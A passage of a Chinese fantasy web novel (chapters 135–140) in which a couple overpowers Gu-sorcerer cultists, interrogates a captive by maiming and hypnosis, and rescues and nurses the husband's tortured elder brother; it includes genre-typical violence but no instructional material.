高个子仔细检查了被破坏的机关,脸色越发难看:“玉斑蛙怎么会不见了?这些畜生向来听话,不可能无缘无故跑掉。” 矮个子没有说话,却从怀中掏出几个小瓷瓶,打开其中一个。瓶口刚一打开,一股诡异的气息就弥漫开来。 “去,找找是谁在这里。”他低声命令道。 一只蜜蜂大小的蛊虫飞了出来,在空中盘旋了几圈,直奔宁芷薇二人藏身之处而去。 宁芷薇暗暗庆幸自己事先准备了雄黄,虽然只是从书上得知这东西能克制蛊虫,但现在也只能死马当活马医了。她的手心已经沁出了一层薄汗,却强迫自己保持镇定。 她将喷火枪塞给秦远霄,以防不测。后者接过武器,眼神示意她不用担心。 那蛊虫飞到大树前突然停住,接着就像喝醉了一般乱飞起来。它的飞行轨迹变得混乱,时而上窜时而下落,完全失去了方向感。 “看来雄黄果然有用。”宁芷薇松了口气,绷紧的神经稍稍放松。 矮个子一脸困惑地看着自己的蛊虫:“师兄,这是怎么回事?我的蛊虫从未这样过。”他的声音中带着明显的不安。 “就是在那棵大树前开始不对劲的,过去看看。”高个子说着,已经迈步向前。他的动作看似随意,实则充满警惕。 两人小心翼翼地靠近,手中握着武器和蛊虫瓶。空气仿佛凝固了,连风声都变得格外刺耳。 就在秦远霄准备出手时,宁芷薇拉住了他。她的眼中闪过一丝狡黠,随即如鬼魅般绕到两人身后。 一把细碎的粉末在空中飘散,还未等两个中年人反应过来,他们就已经倒在地上,被宁芷薇收入界阙。 第一百三十五章 界阙内,秦远霄仔细搜查两人,很快找出了五个装有蛊虫的瓷瓶。每个瓶子都散发着不同的气息,显然里面养着不同种类的蛊虫。 “一般人最多养活两只蛊虫,他们竟然养了六只。”宁芷薇暗暗心惊,这远远超出了她的预料。 秦远霄二话不说掏出喷火枪,将五只蛊虫烧死。火光中,那些诡异的生物发出刺耳的尖叫,很快化为灰烬。 谁知其中一只竟是高个子的本命蛊,随着蛊虫死去,那人也口吐鲜血断了气。鲜血在地上蔓延,勾勒出一个诡异的图案。 “这下只剩一个活口了。”宁芷薇叹了口气,虽然不是她的本意,但事已至此,也只能如此了。 秦远霄将矮个子绑得结实,确保他无法挣脱。宁芷薇这才将人唤醒,准备审问。 矮个子睁开眼,看到周围陌生的环境和师兄的尸体,脸上写满了惊恐。他的嘴唇颤抖着,似乎想说什么,却又不敢出声。 “你们究竟是何方神圣?”矮个子的声音里带着几分不屑,眼神却不自觉地在竹林间游移,似乎在寻找可能的逃生路线。 竹林深处,晚风徐徐,细碎的月光透过竹叶间的缝隙洒落下来,在地上投下斑驳的光影。空气中弥漫着淡淡的腥气,那是之前打斗留下的血迹散发出的味道。 宁芷薇站在一旁,默默观察着这个东陲蛊师。他虽然个子不高,但浑身上下都透着一股难以言喻的阴冷之气。此刻即便被制住,那双漆黑的眼睛里依然闪烁着狡黠的光芒。 “这种人最是难缠。”她在心里暗自思忖,“表面看起来镇定自若,实则不知在打什么主意。” 秦远霄冷笑一声,忽然一脚踹在矮个子身上。沉闷的撞击声伴随着一声凄厉的惨叫在竹林间回荡。 “啊!”矮个子蜷缩成一团,脸上的镇定终于出现了裂痕。他的额头渗出细密的汗珠,嘴角微微抽搐,显然是疼得不轻。 就在这时,一团黑白相间的身影突然从旁边的竹丛中窜出,像一道闪电般撞向矮个子。这突如其来的变故让所有人都愣了一下。 “墨圆儿!”宁芷薇忍不住笑出声来。这只调皮的小家伙总是能在最意想不到的时候出现,给紧张的气氛增添一丝趣味。 墨圆儿似乎对主人刚才的动作很是认同,也要学着欺负这个陌生人。它龇牙咧嘴地对着矮个子呲牙,那模样要多凶恶有多凶恶,却因为它圆滚滚的身材显得格外可爱。 宁芷薇连忙将墨圆儿抱起来,轻声细语地安抚:“去竹林玩会儿,乖。这里不是你该来的地方。” 矮个子回过神来,脸上闪过一丝恼怒。堂堂东陲蛊师,竟然被一只宠物戏耍,这要是传出去,还有什么面子可言? 但当他对上秦远霄那双冰冷的眸子时,所有的怒气瞬间烟消云散。那双眼睛里没有任何感情,仿佛深不见底的寒潭,让人不寒而栗。 “你...你们想干什么?”矮个子的声音明显弱了几分,之前的镇定荡然无存。 秦远霄缓缓蹲下身,眯起眼睛:“说,沧澜先生的事。” 夜风吹过竹林,发出“沙沙”的响声。远处传来几声夜枭的啼叫,更添几分诡异的气氛。 “不可能!要杀要剐随你便!”矮个子突然变得激动起来,“我什么都不会说的!” “是吗?”秦远霄掏出一把匕首,在月光下泛着冰冷的寒光。他用刀面轻轻拍打着矮个子的脸,“想死很容易,但我不会让你死得那么痛快。” 话音未落,匕首一闪,矮个子的一根手指应声而断。鲜血顿时喷涌而出,在月光下显得格外刺目。 “啊!”凄厉的惨叫声再次响起,“你...你究竟是谁?咱俩素不相识!” “你没资格知道我是谁。”秦远霄将匕首移到另一根手指上,刀尖轻轻划过皮肤,留下一道浅浅的血痕,“说出我想知道的,让你速速归西。” 宁芷薇在一旁默默取出怀表。她太了解这种场面了,有些人宁死也不会开口,那是因为有更可怕的威胁在等着他。比起肉体上的痛苦,有些人更害怕背叛的代价。 果然,即便秦远霄又砍断了三根手指,矮个子依然咬紧牙关不肯说。鲜血染红了他的衣襟,但他的眼神却变得更加坚定。 宁芷薇轻轻拉了拉秦远霄的衣袖:“让我来试试。”她的声音轻柔,与方才的血腥场面形成鲜明对比。 她俯身凑近那个小个子,语气温和:“既然你执意不开口,那我们换个方式。” 说着,她举起怀表,在矮个子面前轻轻晃动。银色的怀表在月光下闪烁着柔和的光芒,仿佛有一种魔力般吸引着人的目光。 矮个子起初还想看清那是什么东西,但很快,他目光涣散,神情恍惚。那双原本警惕的眼睛逐渐失去了焦距,整个人都陷入了一种奇怪的状态。 “你是何人?”宁芷薇的声音仿佛带着某种魔力。 “司屿。”矮个子机械地回答。 “你是哪里人?” “东陲京城人。” “你住在哪里?” “沧澜山庄。” 宁芷薇看着司屿呆滞的眼神,确定催眠已经成功。她朝秦远霄使了个眼色,后者立即会意。 “沧澜先生是谁?”秦远霄沉声问道。 “我师父。” “他在哪里?” “不知道,三年没见过师父了。”司屿的声音毫无起伏,就像一具没有灵魂的躯壳。 宁芷薇继续追问:“如何才能找到你师父?” “师父行踪不定,他有事自会来找我们。” “那如果你们有急事呢?” “只能在每年七月前将消息送到永安西陲,师父七月必去玄陲一趟。” “具体在玄陲哪里?” “不知道,从未去玄陲找过师父。” 宁芷薇若有所思:“你的师父如何称呼?” “师父名讳从未公开,只听师兄说过,他姓邵。” 这个答案让宁芷薇心中一动。果然是他!所有的线索终于串联在一起。 “你师父容貌如何?”她继续追问。 “不清楚,师父每次见我们都会变换容貌。有时是鹤发童颜,有时是女子模样,还有时是白发老者。” “那你们如何确认他的身份?” “凭令牌。” 宁芷薇见司屿还在催眠状态,继续问道:“通往沧澜山庄的洞口那些蛇是你们放的?” “是。” “为什么?” “年前有师弟出去采买至今未归,担心山庄安全。” “谁在控制蛇群?” “大师兄。” “就是那位与你同行之人?” “对。” “井底的玉斑蛙也是他养的?” “是。” “那口井是通往密室的入口?” “是。” “这密室中还藏了几人?” “除了一个被看管的人,三位小师弟尚在。” 第一百三十六章 夜色渐深,竹林中的风也变得凛冽起来。远处传来几声狼嚎,打破了夜晚的宁静。宁芷薇看了看天色,知道时间不多了。 宁芷薇的催眠术即将失效,她能感受到司屿的意识正在逐渐恢复清醒。那种微妙的精神联系正在一点点消散,就像退潮时的海水,缓慢却不可阻挡地流失。 她下意识地攥紧了手中的怀表,指节因用力而微微发白。这种状态下,每一秒都显得弥足珍贵。 秦远霄察觉到她的神色变化,急切地上前一步。他的靴子在地面上摩擦出细微的声响,打破了这片刻的寂静。“那个人是谁?你们在看守什么人?” “我...不清楚,是师父让我们看管的。”司屿的声音变得迟缓,眼神开始涣散又凝聚,像是在与某种无形的力量抗争。额头上渗出细密的汗珠,顺着脸颊滑落。 宁芷薇收起怀表,转头看向秦远霄。月光透过树叶的缝隙洒在她苍白的脸上,在她眼底投下深邃的阴影:“还有什么要问的吗?” “已经足够。”秦远霄冷冷地说完,手中的刀光一闪,寒芒乍现。司屿甚至来不及发出一声惨叫,就永远地闭上了眼睛。鲜血在月色下显得格外刺目,如同绽放的红色花朵。 说起这对死尸,他们并不打算隐藏。夜风掠过,带来远处枯枝断裂的声响。既然已经找到了沧澜山庄,那么这里迟早会被人发现,多两具尸体也无关紧要。 宁芷薇意念一动,带着秦远霄和尸体出现在界阙外。将尸体随意丢弃后,二人折返到那口废弃老井旁。井口处杂草丛生,藤蔓缠绕,仿佛在诉说着这里长久无人问津的历史。 “这次我们知道下面没危险了。”秦远霄揽住宁芷薇纤细的腰肢,她能感受到他掌心传来的温度。他轻轻一跃而下,衣袂翻飞,带起一阵微风。 井底潮湿阴冷,墙壁上爬满了青苔。眼前赫然出现一道内陷的钢门,上面布满了锈迹,显示出岁月的痕迹。推开门时,铰链发出刺耳的吱呀声,回荡在狭窄的界阙里。 一条通道延伸向黑暗中,两侧零星点缀着昏暗的油灯。灯火摇曳,在墙上投下诡异的影子,仿佛随时会跳出什么可怕的东西。空气中弥漫着一股霉味,混杂着某种说不清道不明的气息。 宁芷薇跟在秦远霄身后,脚步轻盈却谨慎。她的心跳微微加快,不知是因为紧张还是期待。这条通道到底通向哪里?那个被关押的人又是谁?每一步都像是在走向更深的谜团。 通道并不平直,时而向左,时而向右,像是专门设计来迷惑入侵者。墙壁上的油灯忽明忽暗,在昏暗中制造出令人不安的氛围。 走了约莫几十米,前方渐渐亮起,隐约传来说话声。声音在通道中回荡,显得格外清晰。 “大师兄他们出去这么久,会不会出事了?”一个年轻的声音带着几分担忧。 “大师兄有本命蛊护身,应该不会有事。”另一个沙哑的声音回答,语气中带着几分自负。 正说着,门突然被推开。铁门发出刺耳的声响,打断了屋内人的谈话。 “大师兄回来了吗?”屋内的人转头望去,脸上还带着期待的神色。 “你们的大师兄已经去见阎王了。”秦远霄冷笑着说道,声音中带着几分讥讽。他的身影挡在门口,像一尊不可逾越的屏障。 密室中的几人瞬间警觉,空气仿佛凝固了一般。他们纷纷掏出蛊虫戒备,手上的动作快得几乎看不清。 “你们是什么人?”年长者厉声问道,眼中闪过一丝凶光。他的手已经按在了腰间的蛊虫袋上,随时准备发动攻击。 秦远霄和宁芷薇不紧不慢地走近,丝毫不把他们放在眼里。脚步声在密室中回荡,像是某种无声的威胁。 那人见状立即打开瓷瓶放出蛊虫,但蛊虫刚一出现就惊慌失措地四处逃窜,仿佛感受到了某种致命的威胁。 其他人见状也纷纷放出蛊虫,整个密室中顿时充满了嗡嗡的虫鸣声。秦远霄举起喷火枪,火光闪过,蛊虫瞬间化为灰烬,空气中弥漫着一股焦糊味。 几人大惊失色,脸上的表情从自信变成了惊恐。他们还从未见过有人能如此轻易地杀死他们精心培养的蛊虫。有人想后退,却发现背后就是冰冷的墙壁。 宁芷薇见他们还想放出更多蛊虫,立即撒出一包迷药。白色的粉末在空气中弥漫,几人顿时倒地不起,发出沉重的撞击声。 秦远霄迅速收集掉落的瓷瓶,动作干净利落。他用喷火枪将里面的蛊虫尽数烧死,又搜查了几人身上,只找到一些银票。 “这迷药至少能让他们睡两个时辰。”宁芷薇说着,已经开始在密室中搜寻起来。她的动作轻快而有条理,显然经验丰富。 暗室空间挺大,除了必要的生活设施外,还有修炼房和书房。空气中弥漫着一股特殊的药味,混合着蛊虫的腥臭。两人先搜查了卧室,除了衣物就是数量可观的银钱。 宁芷薇将银票收进界阙,对那些男人的衣物毫无兴趣。练功房里除了蒲团和装蛊虫的瓷瓶外也没什么特别,墙角堆积着一些草药,散发出淡淡的苦涩气息。 最后他们来到书房,三面墙都是书架,上面摆满了蛊术和制毒的书籍。昏暗的灯光下,那些泛黄的书页仿佛在诉说着不为人知的秘密。 宁芷薇正准备将这些危险的书籍收进界阙,却发现正对门的书架纹丝不动。她的眉头微微皱起,直觉告诉她这里有问题。 “有古怪。”她低声说道,手指轻轻抚过书架的边缘,试图找出机关。 秦远霄上前察看,无论如何用力都无法撼动那个书架:“看样子是条通往地下的秘密通道。”他的声音中带着几分笃定。 “司屿说有人被关在这里,想必就在密道后面。”宁芷薇说着,开始仔细搜查房间。她的目光扫过每一个角落,不放过任何可能的线索。 书房里弥漫着浓重的霉味,混合着纸张特有的气息。角落里的蜘蛛网在微弱的光线下闪着银丝般的光芒。 最后秦远霄在书桌下发现了一个铁质机关,看上去极其普通,若不是猜到书架有问题,根本不会注意到它。机关上落满了灰尘,显示出很久没有人动过它。 第一百三十七章 秦远霄的手指有节奏地敲击着桌面,每一下都像是在试探什么。昏暗的灯光下,他的眉头微蹙,额角隐约可见细密的汗珠。 宁芷薇蹲在桌下,目不转睛地盯着那块不起眼的铁疙瘩。她的呼吸很轻,生怕惊动了什么。房间里安静得能听见两人的心跳声,空气中弥漫着一股若有若无的霉味。 “往左边一点。”她压低声音提醒道,“那里的纹路有些不太一样。” 随着秦远霄的敲击,铁疙瘩与桌面的缝隙逐渐变大。宁芷薇的心跳也不自觉地加快,她能感觉到丈夫的手在微微发抖。这个发现让她心里一紧,自从认识秦远霄以来,还从未见过他如此失态。 “就是这里!”当看到铁疙瘩明显晃动时,宁芷薇强压着内心的激动。她伸手轻轻碰了碰秦远霄的腿,示意他继续。 秦远霄深吸一口气,继续有节奏地敲击。三下一停,像是在演奏一首无声的乐曲。灯光在他脸上投下阴影,衬得他的轮廓格外深邃。 终于,那铁疙瘩缓缓脱离桌面,露出一根手腕粗的铁棍。宁芷薇小心翼翼地伸手摸索,很快找到了铁棍上凸起的按钮。 “咔嗒”一声轻响,紧接着是沉闷的机关转动声。两侧的书架缓缓分开,露出一个漆黑的入口。一股令人作呕的腐臭味扑面而来,宁芷薇下意识地捂住了鼻子,胃里一阵翻涌。 秦远霄的脸色瞬间变得惨白,他死死攥着拳头,指甲深深陷入掌心。宁芷薇赶紧握住他的手,感受到掌心传来的冰凉触感。 “我们找到了,”她轻声说,“不管看到什么,都要冷静。” 秦远霄艰难地点点头,接过她手中的手电筒,率先迈入黑暗之中。宁芷薇紧随其后,手电筒的光束在狭窄的通道里摇晃,在墙上投射出诡异的影子。 空气越来越浑浊,墙壁上布满了青苔和水渍。宁芷薇注意到地面上有些暗褐色的痕迹,那是干涸的血迹。她的心沉了下去,不敢想象接下来会看到什么。 终于,他们来到了通道尽头的一个小房间。借着手电筒的光亮,宁芷薇看清了这个狭小界阙的全貌。除了角落里的一张简陋木床,四周空无一物。墙角堆着几个发霉的馒头,散发着难闻的气味。 沙发上瘫着一个人,若不是胸口还有微弱的起伏,很难相信这是个活人。他蜷缩在床角,像是一只受伤的野兽。 “你是谁?”秦远霄的声音有些发颤,手电筒的光束也跟着晃动。 床上的人紧闭双眼,似乎已经习惯了这样的问询。他的手指微微抽搐,却没有其他反应。宁芷薇注意到,当秦远霄开口时,那人的眉头轻轻跳动了一下。 “四哥?”秦远霄再次开口,这次声音更加颤抖。 床上的人猛地睁开眼,却又被手电筒的强光刺得立即闭上。他抬起枯瘦的手臂挡在面前,露出手腕上深深的勒痕。 “九...九弟?”他的声音沙哑得几乎听不清,像是很久没有说过话。 宁芷薇看着眼前这个形容枯槁的男人,很难将他与一个三十出头的年轻人联系在一起。他的头发凌乱不堪,胡须上沾满污垢,皮包骨头的脸上尽是绝望和麻木。 秦远霄快步上前,想要触碰自己的兄长。手电筒的光照亮了秦修远的全身,那些触目惊心的伤痕让人不忍直视。 “别碰我...我脏...”秦修远虚弱地躲避着,声音里带着自暴自弃,“你不该来的...不该来的...” 这一躲,反而让秦远霄看清了他身上破烂不堪的衣服和遍布的伤痕。有些是新伤,有些已经结痂,层层叠叠地堆积在他的身上。 宁芷薇的心一阵抽痛,她知道要尽快带秦修远进界阙治疗。但现在最重要的是安抚两兄弟激动的情绪。她能感觉到秦远霄身上散发出的怒意,那是压抑了太久的愤怒。 “四哥,让我看看你的伤势。”她柔声说道,缓缓靠近床边。 秦修远勉强扯出一个苦笑,那笑容比哭还要难看:“弟妹,不必了。腿断了,手筋也断了,我这样子...已经无药可救了。” 他说这话时语气平静,仿佛在说一件与己无关的事。这种平静比悲伤更让人心碎。 宁芷薇暗暗握紧拳头,指甲深深陷入掌心的疼痛让她保持清醒。她倒要看看是什么人,能把一个活生生的人折磨成这样。 “四哥,相信我,一定能治好你。”她坚定地说,同时观察着周围的环境,思考着最佳的脱身路线。 秦远霄转头看向妻子,眼中既有期待又有担忧。他知道妻子有些特殊的本事,但眼前的情况实在太过严重。 宁芷薇知道,现在不是解释的时候。她从随身的荷包里取出一支银针,那是她特意准备的。趁秦修远不备,她迅速刺入他的穴位。 “对不起,四哥,这是为了你好。” 秦修远还未来得及说什么,就陷入了昏睡。他的表情终于放松下来,不再那么痛苦。 “夫君,我们得赶快带四哥离开这里。”宁芷薇说着,已经开始检查周围是否还有其他机关。她的动作很快,但很仔细,不放过任何可能的线索。 秦远霄小心翼翼地抱起兄长,心疼地发现他轻得不可思议。那具曾经健壮的身躯,如今瘦得只剩下骨架。 “薇薇,你真的有办法救四哥吗?”他的声音里带着一丝颤抖。 宁芷薇停下手中的动作,认真地看着丈夫:“放心,我答应你的事,从来都不会食言。” 她从荷包里取出几张符纸,贴在墙上。这是她特意准备的,可以暂时掩盖他们的行踪。 “我们从后门走,那边守卫较少。”她压低声音说,“等到了安全的地方,我就立刻给四哥治疗。” 秦远霄点点头,小心地调整了一下姿势,让秦修远靠得更舒服些。他们沿着来时的路往回走,每一步都走得极其谨慎。 宁芷薇走在前面开路,她的眼睛已经适应了黑暗。耳边传来秦修远微弱的呼吸声,提醒着她时间的紧迫。 “等等,”她突然停下脚步,“有人来了。” 远处传来脚步声,还有说话声。宁芷薇迅速拉着秦远霄躲进一个凹角,屏住呼吸。 “刚才好像听到有动静。”一个粗哑的声音说。 “大概是老鼠吧,这地方阴暗潮湿的。”另一个声音回答。 脚步声渐渐远去,宁芷薇这才松了口气。她回头看了看秦远霄,发现他的额头已经布满冷汗。 “再坚持一下,”她轻声说,“马上就到了。” 第一百三十八章 他们继续前进,每一步都走得小心翼翼。终于,眼前出现了一丝光亮。那是月光透过后门的缝隙照进来的。 宁芷薇快步上前,轻轻推开门。夜风吹散了地牢里的腐臭味,带来了一丝清新。 “我们成功了。”她露出一个欣慰的笑容。 但她知道,这只是开始。治好秦修远的伤势只是第一步,找出真相,惩治凶手才是最终目标。 看着秦远霄抱着兄长的背影,宁芷薇在心里暗暗发誓:不管付出什么代价,她一定要查清楚这件事。为了丈夫,也为了这个被折磨得不成人形的四哥。 宁芷薇的手指轻轻搭在秦修远的脉搏上,眉头不由得皱了起来。脉象紊乱,时强时弱,显然伤及内腑。她又探查了一番,发现四肢经脉几近断裂,尤其是双腿,已经完全失去了知觉。 “怎么样?”秦远霄压低声音问道,眼中满是焦虑。昏暗的地牢里,火把的光芒在墙壁上投下摇曳的影子,空气中弥漫着潮湿腐朽的气息。 宁芷薇摇了摇头,轻声道:“情况不太乐观。”她停顿片刻,又补充道:“但是我有把握治好四哥。” 秦修远躺在潮湿的稻草堆上,面色苍白如纸。他微微睁开眼,沙哑的声音里带着虚弱:“九弟,你们不该来的...太危险了...” “四哥,别说话。”秦远霄握住兄长的手,指尖触到的温度让他心头一紧。那双曾经有力的手此刻竟如此冰凉。 宁芷薇从界阙取出银针,动作轻柔地说:“四哥,我先给你施针止痛。”她的手法娴熟,几根银针迅速扎入秦修远头部的要穴。 “我们得尽快离开这里。”宁芷薇环顾四周,这密室虽然隐蔽,但总觉得不安全。地牢深处传来断断续续的脚步声,显然守卫正在巡逻。 秦远霄点头,迅速起身。他贴着墙壁潜行到门口,几个起落便解决了巡逻的守卫。动作干净利落,没发出一点声响。 夜色已深,山路难行。宁芷薇索性带着两人进入界阙,准备先查看四哥的伤势。界阙内灯光明亮,各种现代化的医疗设备一应俱全。 刚进界阙,就看见墨圆摇着尾巴想往手术台上爬。宁芷薇连忙将小家伙抱开:“别闹,这是在给四哥治伤。”她从储物柜里取出一个小苹果,塞给墨圆。 小家伙咬着苹果,乖乖趴在角落里。宁芷薇这才开始仔细检查秦修远的伤势。 “情况比想象的还要糟。”她一边查看一边说道,“四哥的腿骨完全粉碎,肌肉已经坏死。要治好他,得先处理这些坏死的组织。” 秦远霄在一旁帮四哥擦拭身体,换上干净衣物。听到这话,他的手微微颤抖,眼中闪过一丝痛楚。 “最麻烦的是,四哥现在的身体状况根本不适合做手术。”宁芷薇叹了口气,“他的心脏和其他内脏都受了重创,得先调养一段时间。” 她立刻开始给秦修远挂上营养液和血浆,同时用意念操控着各种检查仪器,仔细查看每一项指标。监护仪上的数字不断跳动,显示着各项生命体征。 “血压太低了,心率也不稳定。”宁芷薇皱眉道,“得先想办法稳定住他的状况。”她迅速配置了一些药剂,通过输液管注入秦修远体内。 秦远霄站在一旁,看着兄长苍白的面容,心中五味杂陈。他想起小时候,四哥总是护着他,教他武功,陪他练剑。如今看到四哥这般模样,他恨不得立刻找到那些害人的凶手。 天色渐亮,两人带着昏睡的秦修远来到城中,在牙行租了一处偏僻的院子。院子虽小,但布局合理,最重要的是够安静。 为了方便照顾四哥,他们还买下了一个叫明子的聋哑少年。明子虽然不能说话,但做事麻利,很快就将院子收拾得井井有条。 宁芷薇让明子准备了热水,自己则仔细为秦修远擦拭身体。她的动作极其轻柔,生怕碰到伤处。秦修远身上布满了新旧伤痕,有些已经结痂,有些还在渗血。 “这些伤...”秦远霄握紧拳头,指甲深深陷入掌心,“他们究竟对四哥做了什么?” 宁芷薇没有说话,只是默默地上药包扎。她知道,这些伤痕背后必定有着常人难以想象的痛苦。但现在最重要的是治好四哥,其他的事情可以之后再说。 等安顿好一切,秦修远终于悠悠转醒。他看着眼前陌生的面孔,疑惑地问道:“九弟,这是怎么回事?” 秦远霄这才想起自己还带着易容,赶紧扯下假胡子和帽子:“四哥,我是为了方便行动才做的伪装。” 看着九弟熟悉的眉眼,秦修远终于放下心来。他想说些什么,却被一阵剧烈的咳嗽打断。宁芷薇连忙扶他坐起,轻拍他的背部。 “别急着说话。”她端来一碗温热的海参粥,“先吃点东西。” 秦远霄接过碗,一点点喂给四哥。秦修远虚弱地吃了几口,就再也吃不下了。他靠在床头,目光落在自己毫无知觉的双腿上,眼中闪过一丝黯然。 宁芷薇在一旁默默观察着,心里已经开始盘算治疗方案。虽然四哥的伤势棘手,但有界阙里的医疗设备,她一定能让他重新站起来。只是这个过程恐怕会很漫长,需要极大的耐心。 院子里,明子正在打扫庭院。初春的阳光透过树梢洒下斑驳的光影,一切看起来都那么平和。但宁芷薇知道,这只是暴风雨前的宁静。那些将四哥囚禁折磨的人,一定不会就此罢休。 她看了看熟睡的秦修远,又望向窗外。春风拂过院中的梨树,带来淡淡的花香。不知为何,她总觉得心头压着一块石头,隐隐有种不安的预感。 宁芷薇小心翼翼地舀起一勺米粥,轻轻吹了吹,才送到秦修远嘴边。窗外的阳光透过窗棂洒进来,在地上投下斑驳的光影,却衬得床榻上的人更加憔悴。 “四哥,趁热喝。”她柔声说道,目光中满是心疼。 秦修远微微张开干裂的嘴唇,艰难地咽下这口粥。他的脸色苍白如纸,眼窝深陷,哪还有半分昔日征战沙场的将军风范。 秦远霄站在一旁,双手紧握成拳。他的目光落在四哥消瘦的面容上,喉头一阵发紧。那个曾经在战场上所向披靡的将军,如今却像个孩子一样需要人照顾。 “够了......”秦修远虚弱地摆了摆手,声音沙哑,“我吃不下了。” 宁芷薇看了看碗里还剩大半的粥,眉头不由得皱起:“四哥,再多吃一点吧。你这些天都没怎么进食,身子......” 话未说完,就见秦修远的眼角有泪水滑落。他偏过头去,似乎不愿让人看到自己脆弱的一面。 “四哥......”秦远霄上前一步,声音有些发颤。 第一百三十九章 房间里陷入一片沉寂,只有窗外传来几声鸟鸣。宁芷薇放下碗,轻轻拭去秦修远脸上的泪水。 “我现在这副模样,”秦修远突然开口,声音里带着深深的自嘲,“还不如死在战场上来得干脆。活着只会给你们添麻烦。” “四哥!”秦远霄猛地上前,“你怎么能说这种话?” 宁芷薇连忙拉住激动的丈夫,安抚道:“四哥,你别这么说。有我们在,一定会想办法治好你的。” 门外传来脚步声,明子拎着采买的东西回来了。他放下手中的铁锅和粮食,急匆匆地跑到房间门口,用手势比划着要进来照顾秦修远。 “你先出去吧。”秦远霄挥了挥手,示意明子退下。 等明子离开后,房间里又恢复了寂静。秦远霄在床边坐下,目光复杂地看着四哥:“这些年,你到底经历了什么?” 秦修远闭上眼睛,似乎在整理思绪。良久,他才缓缓开口:“那年在东陲......” 随着秦修远的讲述,一幕幕往事在宁芷薇脑海中浮现。她看着丈夫越来越阴沉的脸色,知道他在强忍着怒火。 原来,五年前秦修远奉命出征东陲,带兵剿灭叛军。谁知半路遭到埋伏,整支军队陷入重围。在那场惨烈的战斗中,秦修远身负重伤,被敌军俘虏。 “东昭那个混账!”秦远霄终于忍不住,一拳砸在桌子上。实木茶几轰然破裂,碎片四处飞溅。 宁芷薇连忙抱住他的手臂:“别激动,现在最重要的是照顾好四哥。” “他们......”秦修远的声音越来越低,“他们每天都用各种方法折磨我,想逼我说出京城的防务部署。我的手筋脚筋都被他们挑断了......” 说到这里,秦修远已经泣不成声。那些不堪回首的往事,如同梦魇般纠缠着他。 宁芷薇看着秦修远痛苦的样子,心如刀绞。她轻轻拍着他的背,试图安抚他的情绪。 “后来呢?”秦远霄强忍着怒火问道。 “是一个叫小六的孩子救了我,”秦修远继续说道,“他偷偷给我送食物,帮我解开绳索。要不是他,我早就......” 说到这里,秦修远已经精疲力尽。他闭上眼睛,很快就睡着了。 宁芷薇看了看天色,拉着秦远霄进了界阙。她知道丈夫这两天几乎没有休息,再这样下去恐怕会撑不住。 界阙里,宁芷薇取出一些药材,开始熬制汤药。秦远霄坐在一旁,目光空洞地望着远处。 “你也休息一下吧。”宁芷薇轻声说道。 秦远霄摇摇头:“我睡不着。” “那也要闭目养神。”宁芷薇坚持道,“晚上还有事要做。” 看着丈夫紧皱的眉头,宁芷薇心疼地说:“我知道你担心四哥,但你也要保重身体。” 最终,秦远霄还是听从了妻子的建议。他搂着宁芷薇躺下,虽然没有睡着,但至少让紧绷的神经稍微放松了一些。 界阙里的时间过得很快,等到天色完全暗下来时,宁芷薇才被秦远霄轻轻唤醒。 “戌时了。”他低声说道。 宁芷薇一个激灵坐起来:“这么晚了?四哥的药还没吃呢!” 她急忙起身去煮粥,一边准备药物。秦远霄看着妻子忙碌的身影,心中涌起一股暖意。 有她在身边,真好。 就在这时,外面突然传来一阵急促的脚步声。明子慌慌张张地跑进来比划着:“少爷,不好了!四爷他......” 秦远霄和宁芷薇对视一眼,立刻冲出界阙。只见秦修远躺在床上,面色发青,呼吸急促。 “四哥!”秦远霄大惊失色。 宁芷薇连忙上前查看,发现秦修远浑身发烫,额头上布满冷汗。她立即从界阙里取出银针,开始为秦修远施针。 “远霄,快去打盆冷水来!”宁芷薇一边施针一边说道。 秦远霄立刻冲出去,很快端来一盆冷水。宁芷薇浸湿帕子,轻轻擦拭秦修远的额头和脖子。 “四哥,你一定要挺住啊......”秦远霄握着秦修远的手,声音哽咽。 整整一夜,宁芷薇和秦远霄都守在秦修远床前。直到天边泛起鱼肚白,秦修远的情况才稍有好转。 看着秦修远终于安稳睡去,宁芷薇长舒一口气。她转头看向秦远霄,发现丈夫的眼睛已经红得像兔子一样。 “去休息吧,”她轻声说,“我来守着四哥。” 秦远霄摇摇头:“我不累。” 宁芷薇知道丈夫的性子,也不再劝。她握住秦远霄的手,两人静静地守在秦修远床前,等待着黎明的到来。 明子的厨艺确实不怎么样,看着桌上那几道卖相寒碜的菜,宁芷薇忍不住皱了皱眉。油腻的菜汤四处飞溅,青菜煮得发黄,就连平日里最普通的炒蛋都结成了一团黑糊。 “这...这是我第一次做饭,手艺不好还请见谅。”明子比划着手,一脸忐忑地站在一旁。 秦修远面色苍白,眼窝深陷,整个人瘦得只剩下一把骨头。他有气无力地扒拉了两口饭,就放下了筷子。筷子与碗沿相碰,发出清脆的声响,在这安静的屋子里格外刺耳。 “四哥,我给你带了海参粥,还热着。”秦远霄连忙端过粥碗,舀了一勺送到秦修远嘴边,“这是我让微微特意熬的,海参是南海进贡的,最是补身子。” 宁芷薇看着秦远霄小心翼翼的模样,心里一阵酸涩。这位向来冷峻的老九,此刻却像个温柔的弟弟。他的眼神中满是关切,动作轻柔得仿佛在对待什么易碎的珍宝。 “九弟,你太费心了。”秦修远勉强扯出一丝笑容,“我这身子骨,怕是...” “四哥别说这些丧气话。”秦远霄打断道,“你一定会好起来的。” 待秦修远喝完粥,宁芷薇将几包药材交给明子。药包用油纸仔细包裹,上面还标注着服用时间和剂量。“这些药材要按时服用,切记不可错过。早上一剂,晚上一剂,务必要在饭后半个时辰服用。” 明子连连点头,小心翼翼地将药包收好,比划着“奴才记住了,一定按时给四爷煎药。” “九弟,你们这是要出门?”秦修远看着两人的易容打扮,虚弱地问道。他们身上穿着普通百姓的衣裳,连发髻都改成了寻常样式。 第一百四十章 宁芷薇心里一紧,她知道秦远霄不想让四哥知道太多。毕竟秦家的变故,对现在的秦修远来说太过沉重。那些阴谋诡计,明枪暗箭,都不该让一个病人操心。 “四哥放心,我和薇薇只是去找点东西,很快就回来。”秦远霄轻声安抚,“你好好休息,不要想太多。” 离开四哥的住处,两人直奔东陲太子府。夜色已深,街道上行人寥寥。宁芷薇跟在秦远霄身后,看着他熟练地在街巷中穿行。每一个转角,每一处岔路,他都走得极为笃定。 “你真的对这里很熟悉。”宁芷薇小声说道。 秦远霄淡淡一笑:“打过仗的地方,总是记得清楚些。”他的声音很轻,却带着一丝难以察觉的苦涩,“当年在这里,我亲手杀死了很多人。” 宁芷薇一怔,不知该如何接话。战场上的血腥与残酷,她无法想象。 